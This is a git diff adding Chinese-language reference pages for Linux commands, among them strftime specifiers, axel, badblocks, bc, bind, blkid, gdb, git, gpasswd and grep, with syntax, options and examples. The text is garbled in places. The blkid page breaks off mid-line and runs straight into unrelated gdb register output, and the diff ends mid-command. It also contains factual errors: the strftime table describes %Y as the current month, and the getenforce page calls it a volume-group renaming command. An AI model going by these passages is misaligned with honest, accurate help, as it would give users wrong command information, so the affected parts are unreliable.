**strftime日期和时间格式说明符** + +| 格式 | 描述 | +| ---- | ---- | +| %a | 星期几的缩写(Sun) | +| %A | 星期几的完整写法(Sunday) | +| %b | 月名的缩写(Oct) | +| %B | 月名的完整写法(October) | +| %c | 本地日期和时间 | +| %d | 十进制日期 | +| %D | 日期 08/20/99 | +| %e | 日期,如果只有一位会补上一个空格 | +| %H | 用十进制表示24小时格式的小时 | +| %I | 用十进制表示12小时格式的小时 | +| %j | 从1月1日起一年中的第几天 | +| %m | 十进制表示的月份 | +| %M | 十进制表示的分钟 | +| %p | 12小时表示法(AM/PM) | +| %S | 十进制表示的秒 | +| %U | 十进制表示的一年中的第几个星期(星期天作为一个星期的开始) | +| %w | 十进制表示的星期几(星期天是0) | +| %W | 十进制表示的一年中的第几个星期(星期一作为一个星期的开始) | +| %x | 重新设置本地日期(08/20/99) | +| %X | 重新设置本地时间(12:00:00) | +| %y | 两位数字表示的年(99) | +| %Y | 当前月份 | +| %% | 百分号(%) | + + diff --git a/LearnShell/LinuxCommands/axel.md b/LearnShell/LinuxCommands/axel.md new file mode 100644 index 0000000..847f1d6 --- /dev/null +++ b/LearnShell/LinuxCommands/axel.md @@ -0,0 +1,70 @@ +axel +=== + +多线程下载工具 + +## 补充说明 + +**axel** 是Linux下一个不错的HTTP/ftp高速下载工具。支持多线程下载、断点续传,且可以从多个地址或者从一个地址的多个连接来下载同一个文件。适合网速不给力时多线程下载提高下载速度。比如在国内VPS或服务器上下载lnmp一键安装包用Axel就比wget快。 + +### 安装 + +CentOS安装Axel: + +目前yum源上没有Axel,我们可以到http://pkgs.repoforge.org/axel/下载rpm包安装。 + +32位CentOS执行下面命令: + +``` +wget -c http://pkgs.repoforge.org/axel/axel-2.4-1.el5.rf.i386.rpm +rpm -ivh axel-2.4-1.el5.rf.i386.rpm +``` + +64位CentOS执行下面命令: + +``` +wget -c http://pkgs.repoforge.org/axel/axel-2.4-1.el5.rf.x86_64.rpm +rpm -ivh axel-2.4-1.el5.rf.x86_64.rpm +``` + +Debian/Ubuntu安装Axel: + +``` +apt-get install axel +``` + +### 语法 + +``` +axel [options] url1 [url2] [url...] +``` + +### 选项 + +``` +--max-speed=x , -s x 最高速度x +--num-connections=x , -n x 连接数x +--output=f , -o f 下载为本地文件f +--search[=x] , -S [x] 搜索镜像 +--header=x , -H x 添加头文件字符串x(指定 HTTP header) +--user-agent=x , -U x 设置用户代理(指定 HTTP user agent) +--no-proxy , -N 不使用代理服务器 +--quiet , -q 静默模式 +--verbose ,-v 更多状态信息 +--alternate , -a Alternate progress indicator +--help ,-h 帮助 +--version ,-V 版本信息 +``` + +### 实例 + +如下载lnmp安装包指定10个线程,存到/tmp/: + +``` +axel -n 10 -o /tmp/ http://www.jsdig.com/lnmp.tar.gz +``` + +如果下载过程中下载中断可以再执行下载命令即可恢复上次的下载进度。 + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/badblocks.md b/LearnShell/LinuxCommands/badblocks.md new file mode 100644 index 0000000..aa27254 --- /dev/null +++ b/LearnShell/LinuxCommands/badblocks.md @@ -0,0 +1,85 @@ +badblocks +=== + +查找磁盘中损坏的区块 + +## 补充说明 + +**badblock命令** 用于查找磁盘中损坏的区块。 硬盘是一个损耗设备,当使用一段时间后可能会出现坏道等物理故障。电脑硬盘出现坏道后,如果不及时更换或进行技术处理,坏道就会越来越多,并会造成频繁死机和数据丢失。最好的处理方式是更换磁盘,但在临时的情况下,应及时屏蔽坏道部分的扇区,不要触动它们。badblocks就是一个很好的检查坏道位置的工具。 + +### 语法 + +``` +badblock(选项)(参数) +``` + +### 选项 + +``` +-b<区块大小>:指定磁盘的区块大小,单位为字节; +-o<输出文件>:将检查的结果写入指定的输出文件; +-s:在检查时显示进度; +-v:执行时显示详细的信息; +-w:在检查时,执行写入测试。 +``` + +### 参数 + +* 磁盘装置:指定要检查的磁盘装置; +* 磁盘区块数:指定磁盘装置的区块总数; +* 启始区块:指定要从哪个区块开始检查。 + +### 实例 + +badblocks以4096的一个block,每一个block检查16次,将结果输出到“hda-badblocks-list”文件里。 + +``` +badblocks -b 4096 -c 16 /dev/hda1 -o hda-badblocks-list +``` + +hda-badblocks-list是个文本文件,内容如下: + +``` +cat hda-badblocks-list +51249 +51250 +51251 +51253 +51254 +…… +61245 +…… +``` + +可以针对可疑的区块多做几次操作。下面,badblocks以4096字节为一个“block”,每一个“block”检查1次, 将结果输出到“hda-badblocks-list.1”文件中,由第51000 block开始,到63000 block结束。 + +``` +badblocks -b 4096 -c 1 /dev/hda1 -o hda-badblocks-list.1 63000 51000 +``` + +这次花费的时间比较短,硬盘在指定的情况下在很短的时间就产生“嘎嘎嘎嘎”的响声。由于检查条件的不同,其输出的结果也不完全是相同的。重复几次同样的操作,因条件多少都有些不同,所以结果也有所不同。进行多次操作后,直到产生最后的hda-badblock-list.final文件。 + +### 其他 + + **1、fsck使用badblocks的信息** + +badblocks只会在日志文件中标记出坏道的信息,但若希望在检测磁盘时也能跳过这些坏块不检测,可以使用fsck的-l参数: + +``` +fsck.ext3 -l /tmp/hda-badblock-list.final /dev/hda1 +``` + + **2、在创建文件系统前检测坏道** + +badblocks可以随e2fsck和mke2fs的-c删除一起运行(对ext3文件系统也一样),在创建文件系统前就先检测坏道信息: + +``` +mkfs.ext3 -c /dev/hda1 +``` + +代码表示使用-c在创建文件系统前检查坏道的硬盘。 + +这个操作已经很清楚地告知我们可以采用`mkfs.ext3 -c`选项用`read-only`方式检查硬盘。这个命令会在格式化硬盘时检查硬盘,并标出错误的硬盘“block”。用这个方法格式化硬盘,需要有相当大的耐心,因为命令运行后,会一个个用读的方式检查硬盘。 + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/basename.md b/LearnShell/LinuxCommands/basename.md new file mode 100644 index 0000000..610c746 --- /dev/null +++ b/LearnShell/LinuxCommands/basename.md @@ -0,0 +1,47 @@ +basename +=== + +打印目录或者文件的基本名称 + +## 补充说明 + +**basename命令** 用于打印目录或者文件的基本名称。basename和dirname命令通常用于shell脚本中的命令替换来指定和指定的输入文件名称有所差异的输出文件名称。 + +### 语法 + +``` +basename(选项)(参数) +``` + +### 选项 + +``` +--help:显示帮助; +--version:显示版本号。 +``` + +### 参数 + +* 文件:带路径信息的文件; +* 后缀:可选参数,指定要去除的文件后缀字符串。 + +### 实例 + +1、要显示一个shell变量的基本名称,请输入: + +``` +basename $WORKFILE +``` + +此命令显示指定给shell变量WORKFILE的值的基本名称。如果WORKFILE变量的值是`/home/jim/program.c`文件,则此命令显示program.c。 + +要构造一个和另一个文件名称相同(除了后缀)的文件名称,请输入: + +``` +OFILE=`basename $1 .c`.o +``` + +此命令指定给 OFILE 文件第一个位置上的参数($1)的值,但它的 .c 后缀更改至 .o。如果 $1 是 /home/jim/program.c 文件,则 OFILE 成为 program.o。因为 program.o 仅是一个基本文件名称,它标识在当前目录中的文件。 + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/batch.md b/LearnShell/LinuxCommands/batch.md new file mode 100644 index 0000000..1fd6a65 --- /dev/null +++ b/LearnShell/LinuxCommands/batch.md @@ -0,0 +1,38 @@ +batch +=== + +在系统不繁忙的时候执行定时任务 + +## 补充说明 + +**batch命令** 用于在指定时间,当系统不繁忙时执行任务,用法与at相似。 + +### 语法 + +``` +batch(选项)(参数) +``` + +### 选项 + +``` +-f:指定包含具体指令的任务文件; +-q:指定新任务的队列名称; +-m:任务执行完后向用户发送E-mail。 +``` + +### 参数 + +日期时间:指定任务执行的日期时间。 + +### 实例 + +``` +batch +at> echo 1234 +at> +job 5 at Sun Apr 28 08:49:00 2013 +``` + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/bc.md b/LearnShell/LinuxCommands/bc.md new file mode 100644 index 0000000..bf955c6 --- /dev/null +++ b/LearnShell/LinuxCommands/bc.md @@ -0,0 +1,79 @@ +bc +=== + +算术操作精密运算工具 + +## 补充说明 + +**bc命令** 是一种支持任意精度的交互执行的计算器语言。bash内置了对整数四则运算的支持,但是并不支持浮点运算,而bc命令可以很方便的进行浮点运算,当然整数运算也不再话下。 + +### 语法 + +``` +bc(选项)(参数) +``` + +### 选项 + +``` +-i:强制进入交互式模式; +-l:定义使用的标准数学库; +-w:对POSIX bc的扩展给出警告信息; +-q:不打印正常的GNU bc环境信息; +-v:显示指令版本信息; +-h:显示指令的帮助信息。 +``` + +### 参数 + +文件:指定包含计算任务的文件。 + +### 实例 + +算术操作高级运算bc命令它可以执行浮点运算和一些高级函数: + +``` +echo "1.212*3" | bc +3.636 + +``` + +设定小数精度(数值范围) + +``` +echo "scale=2;3/8" | bc +0.37 + +``` + +参数`scale=2`是将bc输出结果的小数位设置为2位。 + +进制转换 + +``` +#!/bin/bash +abc=192 +echo "obase=2;$abc" | bc + +``` + +执行结果为:11000000,这是用bc将十进制转换成二进制。 + +``` +#!/bin/bash +abc=11000000 +echo "obase=10;ibase=2;$abc" | bc + +``` + +执行结果为:192,这是用bc将二进制转换为十进制。 + +计算平方和平方根: + +``` +echo "10^10" | bc +echo "sqrt(100)" | bc +``` + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/bg.md b/LearnShell/LinuxCommands/bg.md new file mode 100644 index 0000000..cc84ddf --- /dev/null +++ b/LearnShell/LinuxCommands/bg.md @@ -0,0 +1,39 @@ +bg +=== + +用于将作业放到后台运行 + +## 补充说明 + +**bg命令** 用于将作业放到后台运行,使前台可以执行其他任务。该命令的运行效果与在指令后面添加符号`&`的效果是相同的,都是将其放到系统后台执行。 + +在Linux系统中执行某些操作时候,有时需要将当前任务暂停调至后台,或有时须将后台暂停的任务重启开启并调至前台,这一序列的操作将会使用到 jobs、bg、和 fg 三个命令以及两个快捷键来完成。 + +### 语法 + +``` +bg(参数) +``` + +### 参数 + +作业标识:指定需要放到后台的作业标识号。 + +### 实例 + +使用bg命令将任务号为1的任务放到后台继续执行,输入如下命令: + +``` +bg 1 #后台执行任务号为1的任务 +``` + +如果系统中只有一个挂起的任务时,即使不为该命令设置参数"1",也可以实现这个功能。 + +注意:实际上,使用bg命令与在指令后面添加符号"&"的效果是一样的。例如,使用`&`将`find / -name password`放到后台执行,输入如下命令: + +``` +find / -name password & #后台执行任务 +``` + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/bind.md b/LearnShell/LinuxCommands/bind.md new file mode 100644 index 0000000..2949d85 --- /dev/null +++ b/LearnShell/LinuxCommands/bind.md @@ -0,0 +1,59 @@ +bind +=== + +显示或设置键盘按键与其相关的功能 + +## 补充说明 + +**bind命令** 用于显示和设置命令行的键盘序列绑定功能。通过这一命令,可以提高命令行中操作效率。您可以利用bind命令了解有哪些按键组合与其功能,也可以自行指定要用哪些按键组合。 + +### 语法 + +``` +bind(选项) +``` + +### 选项 + +``` +-d:显示按键配置的内容; +-f<按键配置文件>:载入指定的按键配置文件; +-l:列出所有的功能; +-m<按键配置>:指定按键配置; +-q<功能>:显示指定功能的按键; +-v:列出目前的按键配置与其功能。 +``` + +### 实例 + +``` +bind -x '"\C-l":ls -l' #直接按 CTRL+L 就列出目录 +``` + +其中keyseq可以使用`showkey -a`命令来获取: + +``` +[root@localhost ~]# showkey -a + +Press any keys - Ctrl-D will terminate this program + +^[[A 27 0033 0x1b 上 + 91 0133 0x5b + 65 0101 0x41 +^[[B 27 0033 0x1b 下 + 91 0133 0x5b + 66 0102 0x42 +^[[D 27 0033 0x1b 左 + 91 0133 0x5b + 68 0104 0x44 +^[[C 27 0033 0x1b 右 + 91 0133 0x5b + 67 0103 0x43 + 32 0040 0x20 +^M 13 0015 0x0d 字母M +^C 3 0003 0x03 Ctrl-C +^D 4 0004 0x04 Ctrl-D 退出 +``` + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/blkid.md b/LearnShell/LinuxCommands/blkid.md new file mode 100644 index 0000000..91055ff --- /dev/null +++ b/LearnShell/LinuxCommands/blkid.md @@ -0,0 +1,96 @@ +blkid +=== + +查看块设备的文件系统类型、LABEL、UUID等信息 + +## 补充说明 + +在Linux下可以使用 **blkid命令** 对查询设备上所采用文件系统类型进行查询。blkid主要用来对系统的块设备(包括交换分区)所使用的文件系统类型、LABEL、UUID等信息进行查询。要使用这个命令必须安装e2fsprogs软件包。 + +### 语法 + +``` +blkid -L | -U +blkid [-c ] [-ghlLv] [-o] [-s ][-t ] -[w ] [ ...] +blkid -p [-s ] [-O ] [-S ][-o] ... +blkid -i [-s ] [-o] ... +``` + +### 选项 + +``` +-c 指定cache文件(default: /etc/blkid.tab, /dev/null = none) +-d don't encode non-printing characters +-h 显示帮助信息 +-g garbage collect the blkid cache +-o 指定输出格式 +-k list all known filesystems/RAIDs and exit +-s 显示指定信息,默认显示所有信息 +-t find device with a specific token (NAME=value pair) +-l look up only first device with token specified by -t +-L

: push %ebp +(gdb) si +0x0804834d 17 { +1: x/i $pc 0x804834d : mov %esp,%ebp +(gdb) si +0x0804834f in main () at gdb-sample.c:17 +17 { +1: x/i $pc 0x804834f : sub $0x8,%esp +(gdb) si +0x08048352 17 { +1: x/i $pc 0x8048352 : and $0xfffffff0,%esp +(gdb) si +0x08048355 17 { +1: x/i $pc 0x8048355 : mov $0x0,%eax +(gdb) si +0x0804835a 17 { +1: x/i $pc 0x804835a : sub %eax,%esp +(gdb) si +19 n = 1; +1: x/i $pc 0x804835c : movl $0x1,0xfffffffc(%ebp) +``` + +此时可以使用“i r”命令显示寄存器中的当前值———“i r”即“Infomation Register”: + +``` +(gdb) i r +eax 0xbffff6a4 -1073744220 +ecx 0x42015554 1107383636 +edx 0x40016bc8 1073834952 +ebx 0x42130a14 1108544020 +esp 0xbffff6a0 0xbffff6a0 +ebp 0xbffff6a8 0xbffff6a8 +esi 0x40015360 1073828704 +edi 0x80483f0 134513648 +eip 0x8048366 0x8048366 +eflags 0x386 902 +cs 0x23 35 +ss 0x2b 43 +ds 0x2b 43 +es 0x2b 43 +fs 0x0 0 +gs 0x33 51 +``` + +当然也可以显示任意一个指定的寄存器值: + +``` +(gdb) i r eax +eax 0xbffff6a4 -1073744220 +``` + +最后一个要介绍的命令是“q”,退出(Quit)GDB调试环境: + +``` +(gdb) q +The program is running. exit anyway? (y or n) +``` + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/get_module.md b/LearnShell/LinuxCommands/get_module.md new file mode 100644 index 0000000..778226f --- /dev/null +++ b/LearnShell/LinuxCommands/get_module.md @@ -0,0 +1,67 @@ +get_module +=== + +获取Linux内核模块的详细信息 + +## 补充说明 + +**get_module命令** 用于获取Linux内核模块的详细信息。 + +### 语法 + +``` +get_module 模块名 +``` + +### 实例 + +使用lsmod命令查看内核模块: + +``` +lsmod | head -5 +Module Size Used by +ipv6 272801 15 +xfrm_nalgo 13381 1 ipv6 +crypto_api 12609 1 xfrm_nalgo +ip_conntrack_ftp 11569 0 +``` + +使用get_module命令查看模块详细信息: + +``` +get_module ipv6 + refcnt : 15 + srcversion : 8CC9C024755B4483E56C0EF + +Parameters: + autoconf : 1 + disable : 0 + disable_ipv6 : 0 +Sections: + .altinstr_replacement : 0xf8f1a3cf + .altinstructions : 0xf8f1d03c + .bss : 0xf8f36000 + .data.read_mostly : 0xf8f34d20 + .data : 0xf8f2f7a0 + .exit.text : 0xf8f1a234 + .gnu.linkonce.this_module : 0xf8f34e00 + .init.data : 0xf8a16a60 + .init.text : 0xf8a16000 + .module_sig : 0xf8f37960 + .rodata.str1.1 : 0xf8f1ae46 + .rodata : 0xf8f1a420 + .smp_locks : 0xf8f1d150 + .strtab : 0xf8f29840 + .symtab : 0xf8f24000 + .text : 0xf8ef5000 + __kcrctab : 0xf8f1de70 + __kcrctab_gpl : 0xf8f1d9cc + __ksymtab : 0xf8f1dd78 + __ksymtab_gpl : 0xf8f1d954 + __ksymtab_strings : 0xf8f1da44 + __param : 0xf8f1da08 + __versions : 0xf8f1df00 +``` + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/getenforce.md b/LearnShell/LinuxCommands/getenforce.md new file mode 100644 index 0000000..17a76a1 --- /dev/null +++ b/LearnShell/LinuxCommands/getenforce.md @@ -0,0 +1,25 @@ +getenforce +=== + +显示当前SELinux的应用模式,是强制、执行还是停用。 + +## 补充说明 + +**grename命令** 可以重命名卷组的名称。 + +### 语法 + +``` +getenforce +``` + +### 例子 + +查看当前SELinux的应用模式。 + +```bash +[root@localhost ~]# getenforce +Enforcing +``` + + diff --git a/LearnShell/LinuxCommands/getsebool.md b/LearnShell/LinuxCommands/getsebool.md new file mode 100644 index 0000000..c135564 --- /dev/null +++ b/LearnShell/LinuxCommands/getsebool.md @@ -0,0 +1,44 @@ +getsebool +=== + +查询SElinux策略内各项规则的布尔值 + +## 补充说明 + +**getsebool命令** 是用来查询SElinux策略内各项规则的布尔值。SELinux的策略与规则管理相关命令:seinfo命令、sesearch命令、getsebool命令、setsebool命令、semanage命令。 + +### 语法 + +``` +getsebool [-a] [布尔值条款] +``` + +### 选项 + +``` +-a:列出目前系统上面的所有布尔值条款设置为开启或关闭值。 +``` + +### 实例 + +查询本系统内所有的布尔值设置状况: + +``` +getsebool -a +NetworkManager_disable_trans --> off +allow_console_login --> off +allow_cvs_read_shadow --> off +allow_daemons_dump_core --> on +....(底下省略).... +``` + +查询httpd_enable_homedirs是否为关闭,若没关闭,请关闭它: + +``` +getsebool httpd_enable_homedirs +setsebool -P httpd_enable_homedirs=0 //0是关闭 1是开启 + +``` + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/git.md b/LearnShell/LinuxCommands/git.md new file mode 100644 index 0000000..37db962 --- /dev/null +++ b/LearnShell/LinuxCommands/git.md @@ -0,0 +1,117 @@ +git +=== + +是目前世界上最先进的分布式版本控制系统 + +## 补充说明 + +**git命令** 很多人都知道,Linus在1991年创建了开源的Linux,从此,Linux系统不断发展,已经成为最大的服务器系统软件了。 + +Linus虽然创建了Linux,但Linux的壮大是靠全世界热心的志愿者参与的,这么多人在世界各地为Linux编写代码,那Linux的代码是如何管理的呢? + +事实是,在2002年以前,世界各地的志愿者把源代码文件通过diff的方式发给Linus,然后由Linus本人通过手工方式合并代码! + +你也许会想,为什么Linus不把Linux代码放到版本控制系统里呢?不是有CVS、SVN这些免费的版本控制系统吗?因为Linus坚定地反对CVS和SVN,这些集中式的版本控制系统不但速度慢,而且必须联网才能使用。有一些商用的版本控制系统,虽然比CVS、SVN好用,但那是付费的,和Linux的开源精神不符。 + +不过,到了2002年,Linux系统已经发展了十年了,代码库之大让Linus很难继续通过手工方式管理了,社区的弟兄们也对这种方式表达了强烈不满,于是Linus选择了一个商业的版本控制系统BitKeeper,BitKeeper的东家BitMover公司出于人道主义精神,授权Linux社区免费使用这个版本控制系统。 + +安定团结的大好局面在2005年就被打破了,原因是Linux社区牛人聚集,不免沾染了一些梁山好汉的江湖习气。开发Samba的Andrew试图破解BitKeeper的协议(这么干的其实也不只他一个),被BitMover公司发现了(监控工作做得不错!),于是BitMover公司怒了,要收回Linux社区的免费使用权。 + +Linus可以向BitMover公司道个歉,保证以后严格管教弟兄们,嗯,这是不可能的。实际情况是这样的: + +Linus花了两周时间自己用C写了一个分布式版本控制系统,这就是Git!一个月之内,Linux系统的源码已经由Git管理了!牛是怎么定义的呢?大家可以体会一下。 + +Git迅速成为最流行的分布式版本控制系统,尤其是2008年,GitHub网站上线了,它为开源项目免费提供Git存储,无数开源项目开始迁移至GitHub,包括jQuery,PHP,Ruby等等。 + +历史就是这么偶然,如果不是当年BitMover公司威胁Linux社区,可能现在我们就没有免费而超级好用的Git了。 + +[Git常用命令清单](https://github.com/jaywcjlove/handbook/blob/master/other/Git%E5%B8%B8%E7%94%A8%E5%91%BD%E4%BB%A4%E6%B8%85%E5%8D%95.md) + +### 语法 + +``` +git [--version] [--help] [-C ] [-c name=value] + [--exec-path[=]] [--html-path] [--man-path] [--info-path] + [-p | --paginate | --no-pager] [--no-replace-objects] [--bare] + [--git-dir=] [--work-tree=] [--namespace=] + [] +``` + +### 选项 + +``` +add 将文件内容添加到索引 +bisect 通过二进制查找引入错误的更改 +branch 列出,创建或删除分支 +checkout 检查分支或路径到工作树 +clone 将存储库克隆到新目录中 +commit 将更改记录到存储库 +diff 显示提交,提交和工作树等之间的更改 +fetch 从另一个存储库下载对象和引用 +grep 打印匹配图案的行 +init 创建一个空的Git仓库或重新初始化一个现有的 +log 显示提交日志 +merge 加入两个或更多的开发历史 +mv 移动或重命名文件,目录或符号链接 +pull 从另一个存储库或本地分支获取并合并 +push 更新远程引用以及相关对象 +rebase 转发端口本地提交到更新的上游头 +reset 将当前HEAD复位到指定状态 +rm 从工作树和索引中删除文件 +show 显示各种类型的对象 +status 显示工作树状态 +tag 创建,列出,删除或验证使用GPG签名的标签对象 +``` + +### 例子 + +init + +`git init` #初始化 + +status + +`git status` #获取状态 + +add + +`git add file` # .或*代表全部添加 +`git rm --cached ` # 在commit之前撤销git add操作 +`git reset head` # 好像比上面`git rm --cached`更方便 + +commit + +`git commit -m "message"` #此处注意乱码 + +remote + +`git remote add origin git@github.com:JSLite/test.git` #添加源 + +push + +```bash +git push -u origin master # push同事设置默认跟踪分支 +git push origin master +git push -f origin master # 强制推送文件,缩写 -f(全写--force) +``` + +clone + +`git clone git://github.com/JSLite/JSLite.js.git ` +`git clone git://github.com/JSLite/JSLite.js.git mypro` #克隆到自定义文件夹 +`git clone [user@]example.com:path/to/repo.git/` #SSH协议还有另一种写法。 + +git clone支持多种协议,除了HTTP(s)以外,还支持SSH、Git、本地文件协议等,下面是一些例子。`git clone <版本库的网址> <本地目录名>` + +```bash +$ git clone http[s]://example.com/path/to/repo.git/ +$ git clone ssh://example.com/path/to/repo.git/ +$ git clone git://example.com/path/to/repo.git/ +$ git clone /opt/git/project.git +$ git clone file:///opt/git/project.git +$ git clone ftp[s]://example.com/path/to/repo.git/ +$ git clone rsync://example.com/path/to/repo.git/ +``` + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/gpasswd.md b/LearnShell/LinuxCommands/gpasswd.md new file mode 100644 index 0000000..bcdba6c --- /dev/null +++ b/LearnShell/LinuxCommands/gpasswd.md @@ -0,0 +1,63 @@ +gpasswd +=== + +Linux下工作组文件的管理工具 + +## 补充说明 + +**gpasswd命令** 是Linux下工作组文件`/etc/group`和`/etc/gshadow`管理工具。 + +### 语法 + +``` +gpasswd(选项)(参数) +``` + +### 选项 + +``` +-a:添加用户到组; +-d:从组删除用户; +-A:指定管理员; +-M:指定组成员和-A的用途差不多; +-r:删除密码; +-R:限制用户登入组,只有组中的成员才可以用newgrp加入该组。 +``` + +### 参数 + +组:指定要管理的工作组。 + +### 实例 + +如系统有个peter账户,该账户本身不是groupname群组的成员,使用newgrp需要输入密码即可。 + +``` +gpasswd groupname +``` + +让使用者暂时加入成为该组成员,之后peter建立的文件group也会是groupname。所以该方式可以暂时让peter建立文件时使用其他的组,而不是peter本身所在的组。 + +所以使用`gpasswd groupname`设定密码,就是让知道该群组密码的人可以暂时切换具备groupname群组功能的。 + +``` +gpasswd -A peter users +``` + +这样peter就是users群组的管理员,就可以执行下面的操作: + +``` +gpasswd -a mary users +gpasswd -a allen users +``` + +注意:添加用户到某一个组 可以使用`usermod -G group_name user_name`这个命令可以添加一个用户到指定的组,但是以前添加的组就会清空掉。 + +所以想要添加一个用户到一个组,同时保留以前添加的组时,请使用gpasswd这个命令来添加操作用户: + +``` +gpasswd -a user_name group_name +``` + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/gpm.md b/LearnShell/LinuxCommands/gpm.md new file mode 100644 index 0000000..27f7ce0 --- /dev/null +++ b/LearnShell/LinuxCommands/gpm.md @@ -0,0 +1,27 @@ +gpm +=== + +提供文字模式下的滑鼠事件处理 + +## 补充说明 + +**gpm命令** 是Linux的虚拟控制台下的鼠标服务器,用于在虚拟控制台下实现鼠标复制和粘贴文本的功能。 + +### 语法 + +``` +gpm(选项) +``` + +### 选项 + +``` +-a:设置加速值; +-b:设置波特率; +-B:设置鼠标按键次序; +-m:指定鼠标设备文件; +-t:设置鼠标类型。 +``` + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/grep.md b/LearnShell/LinuxCommands/grep.md new file mode 100644 index 0000000..1666747 --- /dev/null +++ b/LearnShell/LinuxCommands/grep.md @@ -0,0 +1,256 @@ +grep +=== + +强大的文本搜索工具 + +## 补充说明 + +**grep** (global search regular expression(RE) and print out the line,全面搜索正则表达式并把行打印出来)是一种强大的文本搜索工具,它能使用正则表达式搜索文本,并把匹配的行打印出来。用于过滤/搜索的特定字符。可使用正则表达式能多种命令配合使用,使用上十分灵活。 + +### 选项 + +```bash +-a --text # 不要忽略二进制数据。 +-A <显示行数> --after-context=<显示行数> # 除了显示符合范本样式的那一行之外,并显示该行之后的内容。 +-b --byte-offset # 在显示符合范本样式的那一行之外,并显示该行之前的内容。 +-B<显示行数> --before-context=<显示行数> # 除了显示符合样式的那一行之外,并显示该行之前的内容。 +-c --count # 计算符合范本样式的列数。 +-C<显示行数> --context=<显示行数>或-<显示行数> # 除了显示符合范本样式的那一列之外,并显示该列之前后的内容。 +-d<进行动作> --directories=<动作> # 当指定要查找的是目录而非文件时,必须使用这项参数,否则grep命令将回报信息并停止动作。 +-e<范本样式> --regexp=<范本样式> # 指定字符串作为查找文件内容的范本样式。 +-E --extended-regexp # 将范本样式为延伸的普通表示法来使用,意味着使用能使用扩展正则表达式。 +-f<范本文件> --file=<规则文件> # 指定范本文件,其内容有一个或多个范本样式,让grep查找符合范本条件的文件内容,格式为每一列的范本样式。 +-F --fixed-regexp # 将范本样式视为固定字符串的列表。 +-G --basic-regexp # 将范本样式视为普通的表示法来使用。 +-h --no-filename # 在显示符合范本样式的那一列之前,不标示该列所属的文件名称。 +-H --with-filename # 在显示符合范本样式的那一列之前,标示该列的文件名称。 +-i --ignore-case # 忽略字符大小写的差别。 +-l --file-with-matches # 列出文件内容符合指定的范本样式的文件名称。 +-L --files-without-match # 列出文件内容不符合指定的范本样式的文件名称。 +-n --line-number # 在显示符合范本样式的那一列之前,标示出该列的编号(首行编号为1)。 +-q --quiet或--silent # 不显示任何信息。 +-R/-r --recursive # 此参数的效果和指定“-d recurse”参数相同。 +-s --no-messages # 不显示错误信息。 +-v --revert-match # 反转查找。 +-V --version # 显示版本信息。 +-w --word-regexp # 只显示全字符合的列。 +-x --line-regexp # 只显示全列符合的列。 +-y # 此参数效果跟“-i”相同。 +-o # 只输出文件中匹配到的部分。 +``` + +### 规则表达式 + +```bash +^ # 锚定行的开始 如:'^grep'匹配所有以grep开头的行。 +$ # 锚定行的结束 如:'grep$'匹配所有以grep结尾的行。 +. # 匹配一个非换行符的字符 如:'gr.p'匹配gr后接一个任意字符,然后是p。 +* # 匹配零个或多个先前字符 如:'*grep'匹配所有一个或多个空格后紧跟grep的行。 +.* # 一起用代表任意字符。 +[] # 匹配一个指定范围内的字符,如'[Gg]rep'匹配Grep和grep。 +[^] # 匹配一个不在指定范围内的字符,如:'[^A-FH-Z]rep'匹配不包含A-R和T-Z的一个字母开头,紧跟rep的行。 +\(..\) # 标记匹配字符,如'\(love\)',love被标记为1。 +\< # 锚定单词的开始,如:'\ # 锚定单词的结束,如'grep\>'匹配包含以grep结尾的单词的行。 +x\{m\} # 重复字符x,m次,如:'0\{5\}'匹配包含5个o的行。 +x\{m,\} # 重复字符x,至少m次,如:'o\{5,\}'匹配至少有5个o的行。 +x\{m,n\} # 重复字符x,至少m次,不多于n次,如:'o\{5,10\}'匹配5--10个o的行。 +\w # 匹配文字和数字字符,也就是[A-Za-z0-9],如:'G\w*p'匹配以G后跟零个或多个文字或数字字符,然后是p。 +\W # \w的反置形式,匹配一个或多个非单词字符,如点号句号等。 +\b # 单词锁定符,如: '\bgrep\b'只匹配grep。 +``` + +## grep命令常见用法 + +在文件中搜索一个单词,命令会返回一个包含 **“match_pattern”** 的文本行: + +``` +grep match_pattern file_name +grep "match_pattern" file_name + +``` + +在多个文件中查找: + +``` +grep "match_pattern" file_1 file_2 file_3 ... + +``` + +输出除之外的所有行 **-v** 选项: + +``` +grep -v "match_pattern" file_name + +``` + +标记匹配颜色 **--color=auto** 选项: + +``` +grep "match_pattern" file_name --color=auto + +``` + +使用正则表达式 **-E** 选项: + +``` +grep -E "[1-9]+" +或 +egrep "[1-9]+" + +``` + +只输出文件中匹配到的部分 **-o** 选项: + +``` +echo this is a test line. | grep -o -E "[a-z]+\." +line. + +echo this is a test line. | egrep -o "[a-z]+\." +line. + +``` + +统计文件或者文本中包含匹配字符串的行数 **-c** 选项: + +``` +grep -c "text" file_name + +``` + +输出包含匹配字符串的行数 **-n** 选项: + +``` +grep "text" -n file_name +或 +cat file_name | grep "text" -n + +#多个文件 +grep "text" -n file_1 file_2 + +``` + +打印样式匹配所位于的字符或字节偏移: + +``` +echo gun is not unix | grep -b -o "not" +7:not + +#一行中字符串的字符便宜是从该行的第一个字符开始计算,起始值为0。选项 **-b -o** 一般总是配合使用。 + +``` + +搜索多个文件并查找匹配文本在哪些文件中: + +``` +grep -l "text" file1 file2 file3... + +``` + +### grep递归搜索文件 + +在多级目录中对文本进行递归搜索: + +``` +grep "text" . -r -n +# .表示当前目录。 + +``` + +忽略匹配样式中的字符大小写: + +``` +echo "hello world" | grep -i "HELLO" +hello + +``` + +选项 **-e** 制动多个匹配样式: + +``` +echo this is a text line | grep -e "is" -e "line" -o +is +line + +#也可以使用 **-f** 选项来匹配多个样式,在样式文件中逐行写出需要匹配的字符。 +cat patfile +aaa +bbb + +echo aaa bbb ccc ddd eee | grep -f patfile -o + +``` + +在grep搜索结果中包括或者排除指定文件: + +``` +#只在目录中所有的.php和.html文件中递归搜索字符"main()" +grep "main()" . -r --include *.{php,html} + +#在搜索结果中排除所有README文件 +grep "main()" 